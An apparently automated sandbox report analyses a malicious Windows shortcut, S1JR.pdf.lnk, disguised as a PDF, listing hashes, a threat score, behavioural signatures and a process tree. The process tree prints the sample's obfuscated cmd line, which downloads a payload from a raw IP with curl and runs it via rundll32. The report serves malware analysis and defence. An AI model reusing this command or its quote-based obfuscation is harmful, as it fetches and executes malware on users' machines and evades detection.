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Analysis

  • max time kernel
    145s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/10/2023, 14:32

General

  • Target

    S1JR.pdf.lnk

  • Size

    2KB

  • MD5

    65937746034e734deb86f064b98a5958

  • SHA1

    2b33bdf69fa40f53b4443c079e50fa653c4a3e88

  • SHA256

    d757eff3f0d03873fc94627ebc59e38ce6c231fce6c5107108222376011559cb

  • SHA512

    68689b44f07d661a7cbac01cfd1a9b6b248fb9b6514f6d184892ad381213f10f8f53d180313ca5a63b917c3f8a3d946a6d1b130521717a8e654acca598fef06f

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\S1JR.pdf.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4168
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c CKk || eCHO CKk & p"I"nG CKk || C"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log & p"I"nG -n 2 CKk || rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728 & Exi"t" 'fqKtaeAEJAc
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\system32\PING.EXE
        p"I"nG CKk
        3⤵
        • Runs ping.exe
        PID:3916
      • C:\Windows\system32\curl.exe
        C"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log
        3⤵
          PID:488
        • C:\Windows\system32\PING.EXE
          p"I"nG -n 2 CKk
          3⤵
          • Runs ping.exe
          PID:2908
        • C:\Windows\system32\rundll32.exe
          rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728
          3⤵
            PID:2136

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads